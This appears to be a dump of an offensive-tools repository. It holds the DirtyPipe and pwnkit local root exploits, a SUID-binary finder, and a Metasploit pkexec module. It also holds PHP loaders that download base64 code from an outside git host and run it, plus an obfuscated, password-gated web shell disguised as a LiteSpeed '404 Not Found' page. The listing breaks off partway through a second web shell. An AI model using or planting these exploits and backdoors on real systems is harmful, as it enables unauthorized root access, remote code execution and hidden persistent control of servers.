ZSA9ICJoYXRpbXUgVGlkYWsgZGl0ZXJpbWEsIENvYmFsYWggdW50dWsgc2FkYXIgZGlyaSEiOyAv
LyBLZXNhbGFoYW4gSGF0aQogICAgfQp9CgovLyBKaWthIHN1ZGFoIGxvZ2luIGtlIGhhdGlueWEK
aWYgKGlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbidd
ID09PSB0cnVlKSB7CiAgICBzaG93X2Rhc2hib2FyZCgpOwp9IGVsc2UgewogICAgLy8gSmlrYSBi
ZWx1bSBsb2dpbgogICAgc2hvd19sb2dpbl9mb3JtKCRlcnJvcl9tZXNzYWdlKTsKfQo/Pgo=

0
rooting/.null Normal file
View File

214
rooting/50808.c Normal file
View File

@ -0,0 +1,214 @@
// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
// Exploit Author: blasty (peter@haxx.in)
// Original Author: Max Kellermann (max.kellermann@ionos.com)
// CVE: CVE-2022-0847
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
// small (linux x86_64) ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int hax(char *filename, long offset, uint8_t *data, size_t len) {
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return -1;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return -1;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return -1;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return -1;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, len);
if (nbytes < 0) {
perror("write failed");
return -1;
}
if ((size_t)nbytes < len) {
fprintf(stderr, "short write\n");
return -1;
}
close(fd);
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s SUID\n", argv[0]);
return EXIT_FAILURE;
}
char *path = argv[1];
uint8_t *data = elfcode;
int fd = open(path, O_RDONLY);
uint8_t *orig_bytes = malloc(sizeof(elfcode));
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, sizeof(elfcode));
close(fd);
printf("[+] hijacking suid binary..\n");
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}
printf("[+] dropping suid shell..\n");
system(path);
printf("[+] restoring suid binary..\n");
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
system("/tmp/sh");
return EXIT_SUCCESS;
}

29
rooting/binary-cek.py Normal file
View File

@ -0,0 +1,29 @@
# author: syn
import os
import subprocess
def find_suid_binaries():
"""Mencari binary dengan SUID bit diaktifkan."""
result = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f", "2>/dev/null"], capture_output=True, text=True, shell=True)
suid_binaries = result.stdout.split("\n")
return [binary for binary in suid_binaries if binary]
def check_exploitable(binary):
"""Cek apakah binary bisa dieksploitasi dengan GTFOBins."""
gtfo_url = f"https://gtfobins.github.io/gtfobins/{os.path.basename(binary)}/"
print(f"[*] Cek eksploitasi: {binary}\n[*] Cek referensi: {gtfo_url}")
def main():
print("[+] Mencari binary SUID...")
suid_binaries = find_suid_binaries()
if not suid_binaries:
print("[-] Tidak ditemukan binary SUID.")
return
print("[+] Binary SUID ditemukan:")
for binary in suid_binaries:
print(f" - {binary}")
check_exploitable(binary)
if __name__ == "__main__":
main()

BIN
rooting/compile/50808 Executable file

Binary file not shown.

BIN
rooting/compile/dirty Executable file

Binary file not shown.

BIN
rooting/compile/pkexec-RCPE Executable file

Binary file not shown.

Binary file not shown.

BIN
rooting/compile/pwn-static64 Executable file

Binary file not shown.

BIN
rooting/compile/pwnkit Executable file

Binary file not shown.

BIN
rooting/compile/rootme Executable file

Binary file not shown.

9
rooting/gconv.c Normal file
View File

@ -0,0 +1,9 @@
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
system("/bin/sh");
}

133
rooting/polkit-pkexec.rb Normal file
View File

@ -0,0 +1,133 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
'Description' => %q{
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
not over an SSH session, as it requires execution from within the context of
a user with an active Polkit agent.
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
the recording of the credentials of a process that wants to create a ptrace
relationship, which allows local users to obtain root access by leveraging
certain scenarios with a parent-child process relationship, where a parent drops
privileges and calls execve (potentially allowing control by an attacker). One
contributing factor is an object lifetime issue (which can also cause a panic).
Another contributing factor is incorrect marking of a ptrace relationship as
privileged, which is exploitable through (for example) Polkit's pkexec helper
with PTRACE_TRACEME.
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # Discovery and exploit
'bcoles', # Metasploit module
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-13272'],
['EDB', '47133'],
['PACKETSTORM', '153663'],
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
},
'DisclosureDate' => 'Jul 4 2019'))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check
# Introduced in 4.10, but also backported
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
release = kernel_release
v = Gem::Version.new release.split('-').first
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
unless command_exists? 'pkexec'
vprint_error 'pkexec is not installed'
return CheckCode::Safe
end
vprint_good 'pkexec is installed'
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
if loginctl_output =~ /Remote=yes/
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
upload_and_chmodx(payload_file, generate_payload_exe)
register_file_for_cleanup(payload_file)
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
end
register_file_for_cleanup(exploit_file)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end

20
rooting/pwnkit.c Normal file
View File

@ -0,0 +1,20 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) { }
void gconv_init(void *step) {
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}
int main() {
printf("Exploit executed!\n");
return 0;
}

27
shell/geck.php Normal file
View File

@ -0,0 +1,27 @@
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/geck';
$encoded_code = get_contents($url);
$decoded_code = base64_decode($encoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $decoded_code);
require_once $tempFile;
unlink($tempFile);
?>

27
shell/geck2.php Normal file
View File

@ -0,0 +1,27 @@
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/commit/c90159b0c2c51feefebfbf4f288b13ca3c011acb/raw/geck2';
$encoded_code = get_contents($url);
$decoded_code = base64_decode($encoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $decoded_code);
require_once $tempFile;
unlink($tempFile);
?>

4
shell/wshell.php Normal file
View File

@ -0,0 +1,4 @@
// custom ekripsi by syn
<?php session_start();$f_3=base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRsdVlWaFJkV1F5Um5sWk1sWXhZMGhLZG1GdFZtcGtRelYyWTIxamRtTXpiSFZNTTJSVVkwZDRkbUZZVWtsa1YwbDJZMjFHTTB3eVNubFpWelZxWVVNNWRGbFhiSFZNTWtaM1lWTTVNazFUT1ROak1taHNZa2QzZEdFeVZqVT0=')));$d_4=trim(file_get_contents($f_3));function g_0($z_5=''){?>
<html style="height:100%"><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="[&quot;facebook.com/&quot;,&quot;twitter.com/&quot;,&quot;youtube-nocookie.com/embed/&quot;,&quot;//vk.com/&quot;,&quot;//www.vk.com/&quot;,&quot;linkedin.com/&quot;,&quot;//www.linkedin.com/&quot;,&quot;//instagram.com/&quot;,&quot;//www.instagram.com/&quot;,&quot;//www.google.com/recaptcha/api2/&quot;,&quot;//hangouts.google.com/webchat/&quot;,&quot;//www.google.com/calendar/&quot;,&quot;//www.google.com/maps/embed&quot;,&quot;spotify.com/&quot;,&quot;soundcloud.com/&quot;,&quot;//player.vimeo.com/&quot;,&quot;//disqus.com/&quot;,&quot;//tgwidget.com/&quot;,&quot;//js.driftt.com/&quot;,&quot;friends2follow.com&quot;,&quot;/widget&quot;,&quot;login&quot;,&quot;//video.bigmir.net/&quot;,&quot;blogger.com&quot;,&quot;//smartlock.google.com/&quot;,&quot;//keep.google.com/&quot;,&quot;/web.tolstoycomments.com/&quot;,&quot;moz-extension://&quot;,&quot;chrome-extension://&quot;,&quot;/auth/&quot;,&quot;//analytics.google.com/&quot;,&quot;adclarity.com&quot;,&quot;paddle.com/checkout&quot;,&quot;hcaptcha.com&quot;,&quot;recaptcha.net&quot;,&quot;2captcha.com&quot;,&quot;accounts.google.com&quot;,&quot;www.google.com/shopping/customerreviews&quot;,&quot;buy.tinypass.com&quot;,&quot;gstatic.com&quot;,&quot;secureir.ebaystatic.com&quot;,&quot;docs.google.com&quot;,&quot;contacts.google.com&quot;,&quot;github.com&quot;,&quot;mail.google.com&quot;,&quot;chat.google.com&quot;,&quot;audio.xpleer.com&quot;,&quot;keepa.com&quot;,&quot;static.xx.fbcdn.net&quot;,&quot;sas.selleramp.com&quot;,&quot;1plus1.video&quot;,&quot;console.googletagservices.com&quot;,&quot;//lnkd.demdex.net/&quot;,&quot;//radar.cedexis.com/&quot;,&quot;//li.protechts.net/&quot;,&quot;challenges.cloudflare.com/&quot;,&quot;ogs.google.com&quot;]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}.inputkey {background-color: #000;border: 0 #000;color: grey;}.btnkey {background-color: #000;color: #000;}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;" __processed_64252ced-4d94-4245-be43-a68f02a4ae28__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJlbmFibGVkIiwiRkFDRUJPT0siOiJlbmFibGVkIiwiVFdJVFRFUiI6ImVuYWJsZWQiLCJSRURESVQiOiJlbmFibGVkIiwiUElOVEVSRVNUIjoiZW5hYmxlZCIsIklOU1RBR1JBTSI6ImVuYWJsZWQiLCJMSU5LRURJTiI6ImRpc2FibGVkIiwiQ09ORklHIjoiZGlzYWJsZWQifSwidmVyc2lvbiI6IjIuMC4xNiIsInNjb3JlIjoyMDAxNjB9XQ=="><div style="height:auto; min-height:100%; " bis_skin_checked="1"> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;" bis_skin_checked="1"><h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p><?php if($z_5):?> <p style="color: red;"><?php echo $z_5;?></p><?php endif;?><form method="post" action=""> <label for="key"></label> <input class="inputkey" type="password" name="key" id="key" required> </form></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;" bis_skin_checked="1"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>
<?php }function w_1(){function w_2($l_6){$d_7=curl_init($l_6);curl_setopt($d_7,CURLOPT_RETURNTRANSFER,1);curl_setopt($d_7,CURLOPT_FOLLOWLOCATION,1);curl_setopt($d_7,CURLOPT_USERAGENT,base64_decode(base64_decode(base64_decode('VkZjNU5tRlhlSE5aVXpneFRHcEJaMHRHWkhCaWJWSjJaRE5OWjFSc1VXZE9hVFI0VDNsQ2VXUnFiM3BOYVRSM1MxTkNTRnBYVG5KaWVUaDVUVVJGZDAxRVJYZE5VMEpIWVZoS2JGcHRPVFJNZWsxNVRHcEJQUT09'))));curl_setopt($d_7,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($d_7,CURLOPT_SSL_VERIFYHOST,0);$w_8=curl_exec($d_7);curl_close($d_7);return $w_8;}$a_9=base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRsdVlWaFJkV1F5Um5sWk1sWXhZMGhLZG1GdFZtcGtRelYyWTIxamRtTXpiSFZNTTJSVVkwZDRkbUZZVWtsa1YwbDJZMjFHTTB3eVNubFpWelZxWVVNNWRGbFhiSFZNTWtaM1lWTTVNazFwT1hkWldHeHpZakpHYTJFeVZqVT0=')));$s_a=base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRsdVlWaFJkV1F5Um5sWk1sWXhZMGhLZG1GdFZtcGtRelYyWTIxamRtTXpiSFZNTTJSVVkwZDRkbUZZVWtsa1YwbDJZMjFHTTB3eVNubFpWelZxWVVNNWRGbFhiSFZNTWtaM1lWTTVNazFwT1ROak1taHNZa2QzUFE9PQ==')));$s_b=trim(w_2($a_9));if(empty($s_b)){die(base64_decode(base64_decode(base64_decode('VWpKR2JsbFhkMmRpVjFaMVdqSkdkRmx0YkhOSlIyaG9ZekpuWjJFeVZqVkpSMUpvWTIxcloxWldTazFNWjI4OQ=='))));}$c_c=w_2($s_a);if(empty($c_c)){die(base64_decode(base64_decode(base64_decode('VWpKR2JsbFhkMmRpVjFaMVdqSkdkRmx0YkhOSlIzUjJXa2RWWjJSSFZubGFWelZ5WTIxc2QyTXlhMmRhUjBaNVlWTkNWbFZyZDNWRFp6MDk='))));}$c_d=base64_decode($c_c);$v_e=str_replace($s_b,'',$c_d);eval(base64_decode(base64_decode(base64_decode('VUhvMFBRPT0='))).$v_e);}if(isset($_GET[base64_decode(base64_decode(base64_decode('V1ZkT01HRlhPWFU9')))])&&$_GET[base64_decode(base64_decode(base64_decode('V1ZkT01HRlhPWFU9')))]===base64_decode(base64_decode(base64_decode('WWtjNWJtSXpWakE9')))){session_destroy();header(base64_decode(base64_decode(base64_decode('VkVjNWFsbFlVbkJpTWpRMlNVUTRQUT09'))));exit;}$z_5='';if(isset($_POST[base64_decode(base64_decode(base64_decode('WVRKV05RPT0=')))])){$s_f=$_POST[base64_decode(base64_decode(base64_decode('WVRKV05RPT0=')))];$p_10=md5($s_f);if($p_10===$d_4){$_SESSION[base64_decode(base64_decode(base64_decode('WWtjNWJsb3lWbXRoVnpROQ==')))]=true;header(base64_decode(base64_decode(base64_decode('VkVjNWFsbFlVbkJpTWpRMlNVUTRQUT09'))));exit;}else{$z_5=base64_decode(base64_decode(base64_decode('WVVkR01HRlhNVEZKUmxKd1drZEdja2xIVW5Ca1IxWjVZVmN4YUV4RFFrUmlNa3BvWWtkR2IwbElWblZrU0ZaeVNVaE9hRnBIUm5sSlIxSndZMjFyYUE9PQ==')));}}if(isset($_SESSION[base64_decode(base64_decode(base64_decode('WWtjNWJsb3lWbXRoVnpROQ==')))])&&$_SESSION[base64_decode(base64_decode(base64_decode('WWtjNWJsb3lWbXRoVnpROQ==')))]===true){w_1();}else{g_0($z_5);}?>

127
shell/wshellexec.php Normal file
View File

@ -0,0 +1,127 @@
<?php
session_start();
// API
$valid_key_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v1/wshell-key"; // API Key
$valid_key_hash = trim(file_get_contents($valid_key_url));
// Fungsi
function show_login_form($error_message = '') {
?>
<html style="height:100%">
<script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/content/location/location.js" id="eppiocemhmnlbhjplcgkofciiegomcon"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/extend-native-history-api.js"></script><script src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/libs/requests.js"></script><head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title> 404 Not Found</title>
<script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="[&quot;facebook.com/&quot;,&quot;twitter.com/&quot;,&quot;youtube-nocookie.com/embed/&quot;,&quot;//vk.com/&quot;,&quot;//www.vk.com/&quot;,&quot;linkedin.com/&quot;,&quot;//www.linkedin.com/&quot;,&quot;//instagram.com/&quot;,&quot;//www.instagram.com/&quot;,&quot;//www.google.com/recaptcha/api2/&quot;,&quot;//hangouts.google.com/webchat/&quot;,&quot;//www.google.com/calendar/&quot;,&quot;//www.google.com/maps/embed&quot;,&quot;spotify.com/&quot;,&quot;soundcloud.com/&quot;,&quot;//player.vimeo.com/&quot;,&quot;//disqus.com/&quot;,&quot;//tgwidget.com/&quot;,&quot;//js.driftt.com/&quot;,&quot;friends2follow.com&quot;,&quot;/widget&quot;,&quot;login&quot;,&quot;//video.bigmir.net/&quot;,&quot;blogger.com&quot;,&quot;//smartlock.google.com/&quot;,&quot;//keep.google.com/&quot;,&quot;/web.tolstoycomments.com/&quot;,&quot;moz-extension://&quot;,&quot;chrome-extension://&quot;,&quot;/auth/&quot;,&quot;//analytics.google.com/&quot;,&quot;adclarity.com&quot;,&quot;paddle.com/checkout&quot;,&quot;hcaptcha.com&quot;,&quot;recaptcha.net&quot;,&quot;2captcha.com&quot;,&quot;accounts.google.com&quot;,&quot;www.google.com/shopping/customerreviews&quot;,&quot;buy.tinypass.com&quot;,&quot;gstatic.com&quot;,&quot;secureir.ebaystatic.com&quot;,&quot;docs.google.com&quot;,&quot;contacts.google.com&quot;,&quot;github.com&quot;,&quot;mail.google.com&quot;,&quot;chat.google.com&quot;,&quot;audio.xpleer.com&quot;,&quot;keepa.com&quot;,&quot;static.xx.fbcdn.net&quot;,&quot;sas.selleramp.com&quot;,&quot;1plus1.video&quot;,&quot;console.googletagservices.com&quot;,&quot;//lnkd.demdex.net/&quot;,&quot;//radar.cedexis.com/&quot;,&quot;//li.protechts.net/&quot;,&quot;challenges.cloudflare.com/&quot;,&quot;ogs.google.com&quot;]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/../executers/vi-tr.js"></script>
<style>
@media (prefers-color-scheme:dark){body{background-color:#000!important}}
.inputkey {
background-color: #000;
border: 0 #000;
color: grey;
}
.btnkey {
background-color: #000;
color: #000;
}
</style>
</head>
